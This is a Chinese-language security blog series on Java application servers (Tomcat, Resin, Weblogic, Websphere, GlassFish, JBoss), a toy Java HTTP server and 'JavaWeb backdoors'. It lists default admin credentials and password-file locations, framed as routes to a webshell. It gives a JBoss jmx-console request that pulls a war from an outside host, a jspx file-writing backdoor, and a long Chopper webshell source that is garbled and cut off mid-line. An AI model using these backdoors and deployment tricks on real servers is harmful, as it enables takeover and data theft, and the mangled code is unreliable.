Tomcat5-6-7安全性并不完美,总是被挖出各种稀奇古怪的安全漏洞。在CVE和Tomcat官网也有相应的漏洞信息详情。
怎样找到Tomcat的历史版本:
http://archive.apache.org/dist/tomcat/
Tomcat历史版本漏洞?
Tomcat官网安全漏洞公布: Apache Tomcat - Apache Tomcat 5 漏洞: http://tomcat.apache.org/security-5.html Apache Tomcat - Apache Tomcat 6 漏洞: http://tomcat.apache.org/security-6.html Apache Tomcat - Apache Tomcat7 漏洞: http://tomcat.apache.org/security-7.html CVE 通用漏洞与披露: http://cve.scap.org.cn/cve_list.php?keyword=tomcat&action=search&p=1 Cvedetails : http://www.cvedetails.com/product/887/Apache-Tomcat.html?vendor_id=45 http://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-887/Apache-Tomcat.html Sebug: http://sebug.net/appdir/Apache+Tomcat
怎样发现Tomcat有那些漏洞?
1、通过默认的报错页面(404、500等)可以获取到Tomcat的具体版本,对照Tomcat漏洞。 2、利用WVS之类的扫描工具可以自动探测出对应的版本及漏洞。
怎样快速确定是不是Tomcat?
请求响应为:Server:Apache-Coyote/1.1 就是tomcat了。
Tomcat稀奇古怪的漏洞:
Tomcat的安全问题被爆过非常多,漏洞统计图: 有一些有意思的漏洞,比如:Insecure default password CVE-2009-3548(影响版本: 6.0.0-6.0.20) The Windows installer defaults to a blank password for the administrative user. If this is not changed during the install process, then by default a user is created with the name admin, roles admin and manager and a blank password.在windows安装版admin默认空密码漏洞,其实是用户安装可能偷懒,没有设置密码… 这样的问题在tar.gz和zip包里面根本就不会存在。有些漏洞看似来势汹汹其实鸡肋得不行如:Unexpected file deletion in work directory CVE-2009-2902 都已经有deploy权限了,闹个啥。 Tomcat非常严重的漏洞(打开Tomcat security-5、6、7.html找):
Important: Session fixation CVE-2013-2067 (6.0.21-6.0.36) Important: Denial of service CVE-2012-3544 (6.0.0-6.0.36) Important: Denial of service CVE-2012-2733 (6.0.0-6.0.35) Important: Bypass of security constraints CVE-2012-3546 (6.0.0-6.0.35) Important: Bypass of CSRF prevention filter CVE-2012-4431 (6.0.30-6.0.35) Important: Denial of service CVE-2012-4534 (6.0.0-6.0.35) Important: Information disclosure CVE-2011-3375 (6.0.30-6.0.33) Important: Authentication bypass and information disclosure CVE-2011-3190 (6.0.0-6.0.33) (………………………………………………….) Important: Directory traversal CVE-2008-2938 (6.0.18) Important: Directory traversal CVE-2007-0450 (6.0.0-6.0.9)
如果英文亚历山大的同学,对应的漏洞信息一般都能够在中文的sebug找到。 Sebug: CVE 通用漏洞与披露:

Resin

Resin是CAUCHO公司的产品,是一个非常流行的application server,对servlet和JSP提供了良好的支持,性能也比较优良,resin自身采用JAVA语言开发。 Resin比较有趣的是默认支持PHP! Resin默认通过Quercus 动态的去解析PHP文件请求。(Resin3也支持,详情:http://zone.wooyun.org/content/2467)
Resin版本
Resin主流的版本是Resin3和Resin4,在文件结构上并没有多大的变化。Resin的速度和效率非常高,但是不知怎么Resin似乎对Quercus 更新特别多。 4.0.x版本更新详情:http://www.caucho.com/resin-4.0/changes/changes.xtp 3.1.x版本更新详情:http://www.caucho.com/resin-3.1/changes/changes.xtp
Resin默认配置

1、resin.conf和resin.xml
Tomcat和Rsin的核心配置文件都在conf目录下,Resin3.1.x 默认是resin.conf而4.0.x默认是resin.xml。resin.conf/resin.xml是Resin最主要配置文件,类似Tomcat的server.xml。
1>数据源:
第一节的时候有谈到resin数据源就是位于这个文件,搜索database(位于server标签内)即可定位到具体的配置信息。
2>域名绑定
搜索host即可定位到具体的域名配置,其中的root-directory是域名绑定的对应路径。很容易就能够找到域名绑定的目录了。
^(
*).javaweb.org


Resin默认安全策略

1>管理后台访问权限
Resin比较BT的是默认仅允许本机访问管理后台,这是因为在resin.conf当中默认配置禁止了外部IP请求后台。

修改为true外部才能够访问。
2>Resin后台管理密码
Resin的管理员密码需要手动配置,在resin.conf/resin.xml当中搜索management。即可找到不过需要注意的是Resin的密码默认是加密的,密文是在登录页自行生成。比如admin加密后的密文大概会是:yCGkvrQHY7K8qtlHsgJ6zg== 看起来仅是base64编码不过不只是admin默认的Base64编码是:YWRtaW4= Resin,翻了半天Resin终于在文档里面找到了:http://www.caucho.com/resin-3.1/doc/resin-security.xtp 虽说是MD5+Base64加密但是怎么看都有点不对,下载Resin源码找到加密算法:
package com.caucho.server.security.PasswordDigest
这加密已经没法反解了,所以就算找到Resin的密码配置文件应该也没法破解登录密码。事实上Resin3的管理后台并没有其他Server(相对JBOSS和Weblogic)那么丰富。而Resin4的管理后台看上去更加有趣。 Resin4的加密方式和Resin3还不一样改成了SSHA:
admin_user : admin admin_password : {SSHA}XwNZqf8vxNt5BJKIGyKT6WMBGxV5OeIi
详情:http://www.caucho.com/resin-4.0/admin/security.xtp Resin3: Resin4:
Resin获取WebShell
As of Resin 4.0.0, it is now possible to deploy web applications remotely to a shared repository that is distributed across the cluster. This feature allows you to deploy once to any triad server and have the application be updated automatically across the entire cluster. When a new dynamic server joins the cluster, the triad will populate it with these applications as well. Web Deploy war文件大概是从4.0.0开始支持的,不过想要在Web deploy一个应用也不是一件简单的事情,首先得先进入后台。然后还得以Https方式访问。不过命令行下部署就没那没法麻烦。Resin3得手动配置web-app-deploy。 最简单的但又不爽办法就是想办法把war文件上传到resin-pro-3.1.13webapps目录下,会自动部署(就算Resin已启动也会自动部署,不影响已部署的应用)。 Resin3部署详情:http://www.caucho.com/resin-3.1/doc/webapp-deploy.xtp Resin4部署War文件详情:http://www.caucho.com/resin-4.0/admin/deploy.xtp Resin4进入后台后选择Deploy,不过还得用SSL方式请求。Resin要走一个”非加密通道”。 To deploy an application remotely: log into the resin-admin console on any triad server. Make sure you are connecting over SSL, as this feature is not available over a non-encrypted channel. Browse to the "webapp" tab of the resin-admin server and at the bottom of the page, enter the virtual host, URL, and local .war file specifying the web application, then press "Deploy". The application should now be deployed on the server. In a few moments, all the servers in the cluster will have the webapp. Resin4敢不敢再没节操点?默认HTTPS是没有开的。需要手动去打开:
conf
esin.properties
# https : 8443
默认8443端口是关闭的,取消这一行的注释才能够使用HTTPS方式访问后台才能够Web Deploy war。
enter image description here
部署成功访问: http://localhost:8080/GetShell/Customize.jsp 即可获取WebShell。
Resin漏洞
Resin相对Tomcat的安全问题来说少了很多,Cvedetails上的Resin的漏洞统计图: Cvedetails统计详情: http://www.cvedetails.com/product/993/Caucho-Technology-Resin.html?vendor_id=576 Cvedetails漏洞详情: http://www.cvedetails.com/vulnerability-list/vendor_id-576/product_id-993/Caucho-Technology-Resin.html CVE 通用漏洞与披露: http://cve.scap.org.cn/cve_list.php?keyword=resin&action=search&p=1 Resin3.1.3: Fixed BugList: http://bugs.caucho.com/changelog_page.php

Weblogic

WebLogic是美国bea公司出品的一个application server确切的说是一个基于Javaee架构的中间件,BEA WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
Weblogic版本
Oracle简直就是企业应用软件终结者,收购了Sun那个土鳖、Mysql、BAE Weblogic等。BAE在2008初被收购后把BAE终结在Weblogic 10。明显的差异应该是从10.x开始到最新的12c。这里主要以Weblogic9.2和最新的Weblogic 12c为例。
Weblogic默认配置
Weblogic默认端口是7001,Weblogic10g-12c默认的管理后台是:http://localhost:7001/console Weblogic10 以下默认后台地址是:http://192.168.80.1:7001/console/login/LoginForm.jsp 管理帐号是在建立Weblogic域的时候设置的。 Weblogic10以下默认管理帐号:weblogic密码:weblogic。关于Weblogic10++的故事还得从建域开始,默认安装完Weblogic后需要建立一个域。
WebLogic中的"域"?
域环境下可以多个 WebLogic Server或者WebLogic Server 群集。域是由单个管理服务器管理的 WebLogic Server实例的集合。 Weblogic10++域默认是安装完成后由用户创建。帐号密码也在创建域的时候设置,所以这里并不存在默认密码。当一个域创建完成后配置文件和Web应用在:Weblogic12user_projectsdomains”域名”。
Weblogic 默认安全策略

1、Weblogic默认密码文件:
Weblogic 9采用的3DES(三重数据加密算法)加密方式,Weblogic 9默认的管理密码配置文件位于:
weblogic_9weblogic92samplesdomainswl_serverserversexamplesServersecurityoot.properties

boot.properties:

# Generated by Configuration Wizard on Sun Sep 08 15:43:13 GMT 2013 username={3DES}fy709SQ4pCHAFk+lIxiWfw== password={3DES}fy709SQ4pCHAFk+lIxiWfw==
Weblogic 12c采用了AES对称加密方式,但是AES的key并不在这文件里面。默认的管理密码文件存放于:
Weblogic12user_projectsdomainsase_domainserversAdminServersecurityoot.properties
(base_domain是默认的”域名”)。
boot.properties:

boot.properties: # Generated by Configuration Wizard on Tue Jul 23 00:07:09 CST 2013 username={AES}PsGXATVgbLsBrCA8hbaKjjA91yNDCK78Z84fGA/pTJE= password={AES}Z44CPAl39VlytFk1I5HUCEFyFZ1LlmwqAePuJCwrwjI=
怎样解密Weblogic密码? Weblogic 12c:
Weblogic12user_projectsdomainsase_domainsecuritySerializedSystemIni.dat
Weblogic 9:
weblogic_9weblogic92samplesdomainswl_serversecuritySerializedSystemIni.dat

2、Weblogic数据源(JNDI)
Weblogic如果有配置数据源,那么默认数据源配置文件应该在:
Weblogic12user\_projectsdomainsase\_domainconfigconfig.xml

Weblogic获取Webshell 

Websphere

WebSphere 是 IBM 的软件平台。它包含了编写、运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施,如服务器、服务和工具。
Websphere版本
Websphere现在主流的版本是6-7-8,老版本的5.x部分老项目还在用。GetShell大致差不多。6、7测试都有“默认用户标识admin登录”,Websphere安装非常麻烦,所以没有像之前测试Resin、Tomcat那么细测。
Websphere默认配置
默认的管理后台地址(注意是HTTPS): https://localhost:9043/ibm/console/logon.jsp 默认管理密码:
1、admin (测试websphere6-7默认可以直接用admin作为用户标识登录,无需密码) 2、websphere/ websphere 3、system/ manager
默认端口:
管理控制台端口 9060 管理控制台安全端口 9043 HTTP传输端口 9080 HTTPS传输端口 9443 引导程序端口 2809 SIP端口 5060 SIP安全端口 5061 SOAP连接器端口 8880 SAS SSL ServerAuth端口 9401 CSIV2 ServerAuth 侦听器端口 9403 CSIV2 MultiAuth 侦听器端口 9402 ORB侦听器端口 9100 高可用性管理通讯端口(DCS) 9353 服务集成端口 7276 服务集成安全端口 7286 服务集成器MQ互操作性端口 5558 服务集成器MQ互操作性安全端口 5578
8.5安装的时候创建密码:  Websphere8.5启动信息: Websphere8.5登录页面: https://localhost:9043/ibm/console/logon.jsp Websphere8.5 WEB控制台: Websphere6-7默认控制台地址也是: http://localhost:9043/ibm/console,此处用admin登录即可。
Websphere GetShell
本地只安装了8.5测试,Websphere安装的确非常坑非常麻烦。不过Google HACK到了其余两个版本Websphere6和Websphere7。测试发现Websphere GetShell一样很简单,只是比较麻烦,一般情况直接默认配置Next就行了。Websphere7和Websphere8 GetShell基本一模一样。
Websphere6 GetShell
需要注意的是Websphere6默认支持的Web应用是2.3(web.xml配置的web-app_2_3.dtd)直接上2.5是不行的,请勿霸王硬上弓。其次是在完成部署后记得保存啊亲,不然无法生效。
Websphere8.5 GetShell
部署的时候记得写上下文名称哦,不让无法请求到Shell。 注意: 如果在Deploy低版本的Websphere的时候可能会提示web.xml错误,这里其实是因为支持的JavaEE版本限制,把war包里面的web.xml改成低版本就行了,如把app2.5改成2.3。
index.jsp

GlassFish

GlassFish是SUN的产品,但是作为一只优秀的土鳖SUN已经被Oracle收购了,GlassFish的性能优越对JavaEE的支持自然最好,最新的Servlet3.1仅GlassFish支持。
GlassFish版本
GlassFish版本比较低调,最高版本GlassFish4可在官网下载: http://glassfish.java.net/ 。最新4.x版刚发布不久。所以主流版本应当还是v2-3,3应该更多。支持php(v3基于Quercus),jRuby on Rails 和 Phobos等多种语言。
GlassFish 默认配置
默认Web控制后台: http://localhost:4848 默认管理密码: GlassFish2默认帐号admin密码adminadmin 。 GlassFish3、4 如果管理员不设置帐号本地会自动登录,但是远程访问会提示配置错误。
Configuration Error Secure Admin must be enabled to access the DAS remotely.
默认端口:
使用Admin的端口 4848。 使用HTTP Instance的端口 8080。 使用JMS的端口 7676。 使用IIOP的端口 3700。 使用HTTP_SSL的端口 8181。 使用IIOP_SSL的端口 3820。 使用IIOP_MUTUALAUTH的端口 3920。 使用JMX_ADMIN的端口 8686。 使用OSGI_SHELL的默认端口 6666。 使用JAVA_DEBUGGER的默认端口 9009。
默认数据源: GlassFish GetShell 

作者:园长MM

WebServer

注:在继后门篇后已经有很长时间没更新了,这次一打算写写Server
的续集。喜欢B/S吗?那我们今天干脆就来写一个简单的“Web服务器”吧。

Web服务器可以解析(handles)HTTP协议。当Web服务器接收到一个HTTP请求(request),会返回一个HTTP响应(response),例如送回一个HTML页面。 Server篇其实还缺少了JBOSS和Jetty,本打算放到Server
写的。但是这次重点在于和大家分享B/S实现和交互技术。Server
已经给大家介绍了许多由Java实现 的WebServer相信小伙伴们对Server的概念不再陌生了。Web服务器核心是根据HTTP协议解析(Request)和处理(Response)来自客户端的请求,怎样去解析和响应来自客户端的请求正是我们今天的主题。
B/S交互
浏览器发送HTTP请求。经Internet连接到对应服务器。服务器解析并处理Http请求,返回处理结果到浏览器。浏览器解析服务器返回的数据并显示解析后的网页。 在学习之前需要了解浏览器和Server工作原理,比如什么是HTTP协议什么是Socket。对于更底层的协议暂不提及。
HTTP协议
HTTP的发展是万维网协会(World Wide Web Consortium)和Internet工作小组(Internet Engineering Task Force)合作的结果,(他们)最终发布了一系列的RFC,其中最著名的RFC 2616,定义了HTTP协议中现今广泛使用的一个版本—HTTP 1.1。 详情: http://www.w3.org/Protocols/ 请求http://www.google.com: 客户端浏览器发送了一个HTTP请求, 第一行GET / HTTP/1.1即:以GET方式请求“ /” 目录HTTP/1.1是请求的HTTP协议版本。而Google返回的则是一个基于HTTP协议的响应,其中包括了状态码、内容长度、服务器版本、以及返回内容类型等。客户端浏览器发送了一个请求(HttpRequest),Google服务器返回处理(Handling Request)并响应(HttpResponse)了这个请求。 通俗的说HTTP协议是一种固定的请求格式,只要按照固定的格式去发送请求,服务器就可以按照固定的方式去处理来自客户端的请求。
Socket:
Socket是应用层与TCP/IP协议族通信的中间软件抽象层,它是一组接口。Socket通常也称作”套接字",用于描述IP地址和端口,是一个通信链的句柄。在Internet上的主机一般运行了多个服务软件,同时提供几种服务。每种服务都打开一个Socket,并绑定到一个端口上,不同的端口对应于不同的服务。 

Java实现Web Server

Oracle提供了一个基础包:java.net用来实现网络应用程序开发。提供了阻塞的Socket和、非阻塞的SocketChannel、URL等。 客户端通过Socket与服务器端建立连接,然后客户端发送请求内容到服务器。服务器接收到请求返回给客户端,请求完成后断开连接。
1、Client
发送一个非标准的HTTP请求内容为”Hello...”给SAE服务器:  请求首先到达了对方监听80端口的nginx,在发现客户端发送的内容不符合HTTP请求规范的同时返回了一个400错误(400 Bad Request)。 发送一个合法的HTTP请求(不截图了,把上面的Hello...换成了req),即发送:
"GET / HTTP/1.1\r\n"+ "Host: www.wooyun.org\r\n"+ "Connection: keep-alive\r\n"+ "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"+ "Cookie: bdshare_firstime=1387989676924\r\n\r\n”;
服务器返回信息:  两次请求的差异在于是否按照HTTP协议发送,当我们随意向目标端口发送请求时,返回了一个错误请求结果。当发送符合HTTP协议的请求时服务器返回了正确的处理结果。所以只需按照HTTP协议去解析请求和响应即可。与此同时不难看出请求头的任何内容都是可以伪造的,这也是之前写cs交互的时候提到为什么不要信任来自客户端的任意请求的根本原因。现在尝试着写一个Server,去解析来自浏览器的请求。 除了使用上面的“冗余代码”去发送HTTP请求,你还可以用oracle自带的URL包去发送HTTP请求会更加简单。通过setRequestProperties一样可以修改请求头。用getHeaderFields就能获取到响应头信息了。
2、简单HTTP服务器实现
需再一次看下上面Socket流程图,在服务器上监听某个端口(listen),等待请求(accept)。一旦有连接到达就开始读取请求内容(read),然后处理并输出响应内容(write),最后close。服务器端核心业务是获取请求、解析请求、处理请求、返回响应。 Server.java核心代码:  浏览器请求:http://192.168.199.240:9527/wooyun.jsp?user=yzmm2&pass=123  浏览器请求头:
GET /wooyun.jsp?user=yzmm&pass=123 HTTP/1.1 Host: 192.168.199.240:9527 Connection: keep-alive Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-CN,zh;q=0.8
现在需要做的是解析请求。在Server里面有一段解析请求的代码:Request req = new Request().parserRequest(sb.toString());//解析请求。具体的需要解析的内容包括:请求头(Header)、请求参数(Parameter)、请求的URI(RequestURI)等。如果是文件上传请求的话还得解析具体的内容(form-data)。 在解析的整个过程没看过RFC文档,只是根据个人理解去实现请求解析,有不对的地方见谅。 首先用换行符切开请求头,得到如下结果:GET /wooyun.jsp?user=yzmm&pass=123 HTTP/1.1。可见这里是按空格隔开的,用正则的\s就可以切开了当前行了。这样就能简单的拿到:
把他们保存到类的成员变量以便后面调用。 解析请求头比较简单,只需把请求头内容按照key、value方式解析出来就行了。比如:Host: localhost:9527,解析后就成了key=Host,value=localhost:9527。parserGET方法就更简单了,把 /wooyun.jsp?user=yzmm&pass=123以”?”号切开后再以”=”号切开,最终得到的是key=user,value=yzmm、key=pass,value=123。  处理结果都装在了如下变量:
#!java private String method; private String queryString; private String requstURI; private String host; private Map formContent = new LinkedHashMap(); private Map header = new LinkedHashMap(); private Map parameter = new LinkedHashMap(); private Map multipart = new LinkedHashMap();
如果想取出请求参数可以用parameter.get(“xxxx”)就行了,是不是跟javaee有那么些相似了?当请求解析完成后需要去加载请求的文件,比如这里的wooyun.jsp。 当请求处理完后调用getResponse方法把结果输出到浏览器:
#!java public String getResponse(String content){ return "HTTP/1.1 200 OK\r\n"+ "server: "+Constants.SYS_CONFIG_NAME+"\r\n"+ "Date: "+new Date()+"\r\n"+ "X-Powered-By-yzmm: "+Constants.SYS_CONFIG_VERSION+"\r\n"+ "Content-Type: text/html\r\n"+ "Content-Length: "+(content!=null?content.length():0)+"\r\n\r\n"+ content; }
从上可见服务器的响应信息也是可以任意的。比如我修改了响应中的server的值你就会在浏览器的Response当中看到当前的server是: z7y-server。出现在响应头里面有意思的漏洞有:CRLF注入,有兴趣的小伙伴儿可以了解下。

文件上传请求解析

文件上传请求和普通的GET、POST不一样,在JavaEE里面会把multipart请求封装成一个InputStream对象。如果想要从请求里面解析具体的文件内容需要读取流。值得注意的是multipart/form-data中的input域也会包含在InputStream里面。在JavaEE里面可以用:request.getInputStream();或request.getReader();方法获取。
#!html File Upload
1 2



文件域下方Content-Type: text/html实际上隐藏了upload.html的内容,chrome不会在那儿显示。判定一个请求是否是文件上传只需从请求头里面取出Content-Type就行了,如果type是multipart/form-data;即标识当前请求类型是文件上传。 关于文件上传请求解析,我写的比较粗暴了。按照分割线分别把内容域和文件域提取出来,并封装到multipart map里面,它们的key分别是file和para。  写文件到”服务器”: 
文件上传请求安全问题
值得注意的是假如一个文件上传和input域同时出现的情况下,跨站和Sql注入几率会非常的高。因为文件上传会把input域的请求参数封装到流里面,很多时候并没有人会去处理这样的恶意请求。 类似的案例: WooYun: 360网站宝/安全宝/加速乐及其他类似产品防护绕过缺陷之一 。漏洞提交者在文件上传请求中传递了SQL注入语句,而上面的安全软件的拦截都失效了。。。 据说在PHP里面还存在另外一个问题,文件上传的input域请求会被解析到对应的POST请求对象当中。那么也就是说假设一个站拦截了普通的GET、POST请求,但是没有拦截文件上传的恶意请求。仅需要简单的构造一个上传并传递注入语句就绕过了所谓的防御了。

文件或虚拟路径请求和处理


虚拟路径请求处理
在Servlet里面一个Servlet映射的是一个虚拟的路径。比如请求:http://xxx /servlet/hello。这个servlet/hello并不是一个实际存在的文件地址。所以我们请求的wooyun.jsp可以是真实存在的一个文件,也可以是一个虚拟的路径。比如当客户端请求wooyun.jsp的时候我们把请求交给Controller去处理(仿MVC):  enter image description here 而我们的控制层假设做了一个请求校验:当user等于yzmm的时候输出Good!,否则输出Error.  enter image description here 分别请求:http://192.168.199.240:9527/wooyun.jsp?user=yzmm&pass=123和user=zsy输出都是正常的。  enter image description here
普通的文件请求
假如用户请求的不是虚拟路径而是一个实际存在的文件呢?这个时候就需要把服务器的文件内容读取并返回给客户端。比如把Contoller注掉改为content = readFile(request);这次去读取ROOT下的wooyun.jsp内容。  enter image description here 这次输出了”用户目录/webapps/zsy/ROOT/wooyun.jsp”内容。

Server安全问题


文件解析漏洞
服务器在处理请求或其本身可能存在一些安全问题。经典的比如IIS、Nginx解析漏洞。那么是什么原因让Server变得这么”不安全”呢? 在之前的系列里面讲过如果把Tomcat的web.xml的filter添加任意后缀到servlet-name为jsp的Servlet当中,那么所有后缀为.txt的请求都会被当作jsp解析!  假设Tomcat在写正则的时候一不小心写成了:
#!java Pattern.compile("\\.jsp").matcher("1.jsp.jpg").find();
那么所有的1.jsp.jpg的请求都会交给jsp对应的servlet处理。跟这类似的漏洞apache曾经就出现过。问题是apache如果在mime.types文件里面没有定义的扩展名,会给解析成倒数第二个定义的扩展名。
文件读取漏洞
好吧,这个Tomcat做的有点奇葩。在某些低版本的Tomcat当请求目录并没有找到对应的索引文件,且web.xml的listings是true。于是Tom猫就干脆列出这个目录的所有文件。 Tomcat还出过另一个低级漏洞,当请求的文件是UTF-8编码的时候会造成任意文件遍历漏洞。触发的条件为Apache Tomcat的配置文件context.xml 或 server.xml 的'allowLinking' 和 'URIencoding' 允许'UTF-8'选项
War文件部署漏洞
很多时候需要在线上部署一个新的应用时可以在Server的控制台去动态的部署一个war文件(其实就是一个压缩文件包)。Server会自动解压并部署。这虽说是非常的方便,但是却因为Server各自的实现不一或者自身安全意思淡漠导致任意的war文件都可以远程部署到Server中去。这里面的典型代表就是Jboss。请求:
http://192.168.0.113:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://www.ahack.net/iswin.war
成功后访问:http://192.168.0.113:8080/iswin/index.jsp 菜刀连接(默认包含index.jsp、index.jspx、index.jspf、cmd.jsp三个shell)。 测试版本:jboss-6.1.0.Final。http://p2j.cn/?p=342 控制台输出信息:  这货去年十月还出过一个高危的漏洞,同样是远程war部署。 Apache Tomcat/JBoss EJBInvokerServlet / JMXInvokerServlet (RMI over HTTP) Marshalled Object RCE 详情: http://www.exploit-db.com/exploits/28713/ http://zone.wooyun.org/content/7398 除了上述漏洞某些Server还出过拒绝服务漏洞、控制台弱口令漏洞、爆路径漏洞、WebDAV、XSS等漏洞。可谓想做好一个WebServer是非常的艰难。

Server漏洞防御

在总结了之前的Server安全问题之后,我们有没有想过怎么去防御来自客户端的攻击呢?我们应该如何去防御?这里仅简要介绍防范思路至于防御细节,对不起请自行实现。 防御方式:
1、由远及近,从CDN层我们可以拦截所有的恶意请求。可以尝试在请求到达服务器之前净化请求信息。 2、从网络层可以用硬防处理恶意请求。 3、从服务器层可以写对应的Server拓展(Filter)拦截恶意请求。 4、安装服务器安全软件。 5、在应用层需要尽可能的注重代码编写,如果无法确保安全性可以在应用层写一个安全过滤器。
从实现的角度来说前两者的成本较高,效果或许并不会特别明显,后面几种方式显得更轻。 这一期可以说是对Server篇的补充吧,源码没什么水平有兴趣的朋友可以看看(下载地址:http://pan.baidu.com/s/1qW2Nwx2 )。希望大家看过笑笑之后更加“深入”的了解Request和Response吧。原打算写个简易浏览器也没时间了。快过年了,祝小伙伴们新年快乐!

0x00 背景

关于JavaWeb后门问题一直以来都比较少,而比较新奇的后门更少。在这里我分享几种比较有意思的JavaWeb后门给大家玩。

0x01 jspx后门

在如今的web应用当中如果想直接传个jsp已经变得比较难了,但是如果只限制了asp、php、jsp、aspx等这些常见的后缀应该怎样去突破呢?我在读tomcat的配置文件的时候看到jsp和jspx都是由org.apache.jasper.servlet.JspServlet处理,于是想构建一个jspx的webshell。经过反复的折腾,一个jspx的后门就粗线了。测试应该是java的所有的server都默认支持。

Tomcat默认的conf/web.xml下的配置:


jsp org.apache.jasper.servlet.JspServlet fork false xpoweredBy false 3 jsp *.jsp *.jspx
关于jspx的资料网上并不多,官网给的文档也不清楚,搞的模模糊糊的。怎么去玩jspx大家可以看下官网的demo,或者参考一些文章。 http://jspx-bay.sourceforge.net 
关于jspx文件的一些说明: http://blog.sina.com.cn/s/blog_4b6de6bb0100089s.html 

重点在于把Jsp里面的一些标记转换成xml支持的格式,比如:
<%@ include .. %> 
<%@ page .. %> <%@ taglib .. %> xmlns:prefix="tag library URL" <%= ..%> .. <% ..%> ..
知道<% %="">可以用标记表示那么做起来就很简单了,直接把标记换下是非常容易做的。所以写个简单的shell一个就很简单了,但是如果想知道具体有那些标签或者说跟jsp里面的有那些不同怎么办呢?下面我简单的做了下对比(前面是jsp的代码提示,后面是jspx): 照着提示翻译下得知表示jsp里面的<%! %="">需要用:标签去替换就行了。

其他重要提醒:

在jspx里面遵循xml语法所以直接在jsp:declaration或者jsp:scriptlet标签内写"<>"这样的符号是不行的,需要转意(不转意会报编译错误,猜了下只需要把<>转成< >就行了)。

jspx后门的具体实现代码:


RandomAccessFile rf = new RandomAccessFile(request.getRealPath("/")+request.getParameter("f"), "rw"); rf.write(request.getParameter("t").getBytes()); rf.close();
jspx实现的我之前发的菜刀最终版: 
 http://localhost:8080/jspx.jspx  直接用菜刀连接:
String Pwd="023";String cs="UTF-8";String EC(String s)throws Exception{return new String(s.getBytes("ISO-8859-1"),cs);}Connection GC(String s)throws Exception{String
x=s.trim().split("\r\n");Class.forName(x
.trim());if(x
.indexOf("jdbc:oracle")!=-1){return DriverManager.getConnection(x
.trim()+":"+x
,x
.equalsIgnoreCase("
")?"":x
,x
.equalsIgnoreCase("
")?"":x
);}else{Connection c=DriverManager.getConnection(x
.trim(),x
.equalsIgnoreCase("
")?"":x
,x
.equalsIgnoreCase("
")?"":x
);if(x.length>4){c.setCatalog(x
);}return c;}}void AA(StringBuffer sb)throws Exception{File r
=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r
.toString().substring(0,2));}}void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l
=oF.listFiles();String sT,sQ,sF="";java.util.Date dt;SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0; i<l.length; i++){dt=new java.util.Date(l
.lastModified());sT=fm.format(dt);sQ=l
.canRead()?"R":"";sQ +=l
.canWrite()?" W":"";if(l
.isDirectory()){sb.append(l
.getName()+"/\t"+sT+"\t"+l
.length()+"\t"+sQ+"\n");}else{sF+=l
.getName()+"\t"+sT+"\t"+l
.length()+"\t"+sQ+"\n";}}sb.append(sF);}void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x
=f.listFiles();for(int k=0; k < x.length; k++){if(!x
.delete()){EE(x
.getPath());}}}f.delete();}void FF(String s,HttpServletResponse r)throws Exception{int n;byte
b=new byte
;r.reset();ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();}void GG(String s,String d)throws Exception{String h="0123456789ABCDEF";File f=new File(s);f.createNewFile();FileOutputStream os=new FileOutputStream(f);for(int i=0; i<d.length();i+=2){os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i+1))));}os.close();}void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z
=sf.listFiles();for(int j=0; j<z.length; j++){HH(s+"/"+z
.getName(),d+"/"+z
.getName());}}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);int n;byte
b=new byte
;while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s,String d)throws Exception{URL u=new URL(s);int n=0;FileOutputStream os=new FileOutputStream(d);HttpURLConnection h=(HttpURLConnection) u.openConnection();InputStream is=h.getInputStream();byte
b=new byte
;while((n=is.read(b))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}void MM(InputStream is,StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));while((l=br.readLine())!=null){sb.append(l+"\r\n");}}void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();}void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String
x=s.trim().split("\r\n");ResultSet r=c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x
:x
:null,"%",new String
{"TABLE"});while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();}void PP(String s,StringBuffer sb)throws Exception{String
x=s.trim().split("\r\n");Connection c=GC(s);Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x
